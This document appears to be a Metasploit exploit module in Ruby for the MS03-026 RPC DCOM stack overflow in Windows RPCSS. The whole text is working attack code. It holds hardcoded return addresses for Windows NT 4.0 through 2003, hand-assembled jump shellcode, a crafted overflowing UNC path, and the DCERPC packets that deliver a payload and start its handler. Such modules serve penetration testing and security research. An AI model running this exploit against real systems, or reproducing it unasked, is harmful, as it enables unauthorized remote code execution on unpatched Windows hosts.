require 'msf/core' module Msf class Exploits::Windows::MSRPC_DCOM_MS03_026 < Msf::Exploit::Remote # # This module exploits a vulnerability in a DCERPC service # include Exploit::Remote::DCERPC def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft RPC DCOM MSO3-026', 'Description' => "This module exploits a stack overflow in the RPCSS service, this vulnerability" + "was originally found by the Last Stage of Delirium research group and has been" + "widely exploited ever since. This module can exploit the English versions of " + "Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)", 'Author' => [ 'hdm', 'spoonm' ], 'Version' => '$Revision$', 'References' => [ [ 'OSVDB', '2100' ], [ 'MSB', 'MS03-026' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload' => { 'Space' => 880, 'MinNops' => 300, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", }, 'Targets' => [ # Target 0: Universal [ 'Windows NT SP3-6a/2000/XP/2003 Universal', { 'Platform' => 'win', 'Rets' => [ 0x77f33723, # Windows NT 4.0 SP6a (esp) 0x7ffde0eb, # Windows 2000 writable address + jmp+0xe0 0x0018759f, # Windows 2000 Universal (ebx) 0x01001c59, # Windows XP SP0/SP1 (pop pop ret) 0x001b0b0b, # Windows 2003 call near [ebp+0x30] (unicode.nls - thanks Litchfield!) 0x776a240d, # Windows NT 4.0 SP5 (eax) ws2help.dll 0x74ff16f3, # Windows NT 4.0 SP3/4 (pop pop ret) rnr20.dll ], }, ], ], 'DefaultTarget' => 0)) end def exploit connect # Carefully create the combination of addresses and code for cross-os exploitation xpseh = Rex::Text.rand_text_alphanumeric(360, payload_badchars) # Jump to [esp-4] - (distance to shellcode) jmpsc = "\x8b\x44\x24\xfc" + # mov eax,[esp-0x4] "\x05\xe0\xfa\xff\xff" + # add eax,0xfffffae0 (sub eax, 1312) "\xff\xe0" # jmp eax # Jump to [ebp+0x30] - (distance to shellcode) - thanks again Litchfield! jmpsc2k3 = "\x8b\x45\x30" + # mov eax,[ebp+0x30] "\x05\x24\xfb\xff\xff" + # add eax,0xfffffb24 (sub 1244) "\xff\xe0" # jmp eax # Windows 2003 added by spoonm xpseh[ 246 - jmpsc2k3.length, jmpsc2k3.length ] = jmpsc2k3 xpseh[ 246, 2 ] = Rex::Arch::X86.jmp_short('$+' + (jmpsc2k3.length * -1).to_s) xpseh[ 250, 4 ] = [ target['Rets'][4] ].pack('V') xpseh[ 306, 2 ] = "\xeb\x06" xpseh[ 310, 4 ] = [ target['Rets'][3] ].pack('V') xpseh[ 314, jmpsc.length ] = jmpsc # # NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both # NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4 # HD wrote NT 4.0 SP6a, and it's off in a different place # # Our NT 4.0 SP3/SP4/SP5 overwrites will look something like this: # (hopefully I'm accurate, this is from my memory...) # # |---pop pop ret-------- --eax---| # V | | V # [ jmp +17 ] [ ret sp3/4 ] [ ret sp5 ] [ jmpback sp5 ] [ jmpback sp3/4 ] # 4 4 4 5 5 # | ^ # --------------------------------------------------| # The jmpback's all are 5 byte backwards jumps into our shellcode that # sits just below these overwrites... # nt4sp3jmp = Rex::Arch::X86.jmp_short('$+' + (12 + 5).to_s) + Rex::Text.rand_text(2, payload_badchars) nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V') nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V') ntshiz = nt4sp3jmp + [ target['Rets'][6] ].pack('V') + [ target['Rets'][5] ].pack('V') + nt4sp5jmpback + nt4sp3jmpback # Pad to the magic value of 118 bytes ntshiz += Rex::Text.rand_text(118 - ntshiz.length, payload_badchars) # Create the evil UNC path used in the overflow uncpath = ("\x90" * 32) + "\xeb\x10\xeb\x19" + # When attacking NT 4.0, jump over 2000/XP return [ target['Rets'][2] ].pack('V') + # Return address for 2000 (ebx) [ target['Rets'][0] ].pack('V') + # Return address for NT 4.0 SP6 (esi) [ target['Rets'][1] ].pack('V') + # Writable address on 2000 and jmp for NT 4.0 ("\x90" * 88) + "\xeb\x04\xff\xff\xff\xff" + ("\x90" * 8) + "\xeb\x04\xeb\x04" + ("\x90" * 4) + "\xeb\x04\xff\xff\xff\xff" + payload.encoded + ntshiz + xpseh + "\x5c\x00\x41\x00\x00\x00\x00\x00\x00\x00" # This is the rpc cruft needed to trigger the vuln API stubdata = "\x05\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x7d\x75\x75" + "\x40\xeb\xc6\x47\xbc\x71\x4e\xa7\x1c\xd0\xb5\x97\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x09\x00\x20\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00" + "\x5c\x00\x5c\x00" + uncpath + "\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" + "\x68\x1c\x09\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\xc0\x00\x00\x00\x00\x00\x00\x46\x01\x00\x00\x00\x01\x00\x00\x00" + "\x07\x00" # Pad, calculate, set number of wide chars in path pathsz = (((uncpath.length + 11) & ~7) / 2) stubdata[ 52, 4 ] = [ pathsz ].pack('V') stubdata[ 60, 4 ] = [ pathsz ].pack('V') d = Rex::Proto::DCERPC.new() u = Rex::Proto::DCERPC::UUID.new() uuid = u.uuid_by_name('REMACT') vers = u.vers_by_name('REMACT') bind_pkt, ctx = d.make_bind_fake_multi(uuid, vers, 10, 4) sock.put(bind_pkt) resp = d.read_response(sock) if (resp.ack_result[ctx] != 0) puts "bind failed" return end puts "bind successful to RemoteActivator" d.make_request(0, stubdata, 256, ctx).each do |chunk| sock.put(chunk) end resp = d.read_response(sock) p resp handler end end end